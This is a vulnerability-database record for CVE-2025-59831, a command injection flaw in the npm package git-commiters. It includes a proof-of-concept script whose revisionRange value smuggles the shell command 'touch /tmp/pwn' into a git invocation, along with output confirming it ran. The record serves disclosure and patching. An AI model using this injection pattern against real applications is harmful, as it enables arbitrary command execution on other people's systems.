{"id":"CVE-2025-59831","aliases":["GHSA-g38c-wxjf-xrh6"],"url":"https://o3.security/vulnerability/CVE-2025-59831","summary":"`git-comiters` Command Injection vulnerability","details":"## Background on the vulnerability\n\nThis vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n  cwd: \"./\",\n  revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n  if (err) console.log(err);\n  else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js\n[\n  {\n    email: 'github@qslw.com',\n    name: 'Morton Fox',\n    deletions: 1,\n    insertions: 1,\n    commits: 1\n  },\n  {\n    email: 'snowyu.lee@gmail.com',\n    name: 'Riceball LEE',\n    deletions: 11,\n    insertions: 1198,\n    commits: 7\n  }\n]\n\n@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal","published":"2025-09-25T13:34:02.449Z","modified":"2026-08-12T03:51:29.951585389Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"git-commiters","fixedVersion":"0.1.2"}],"fix":{"url":"https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84","label":"snowyu/git-commiters.js@7f0abfe"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59831.json"},{"type":"ADVISORY","url":"https://github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59831"},{"type":"FIX","url":"https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84"},{"type":"PACKAGE","url":"https://github.com/snowyu/git-commiters.js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.951585389Z"}}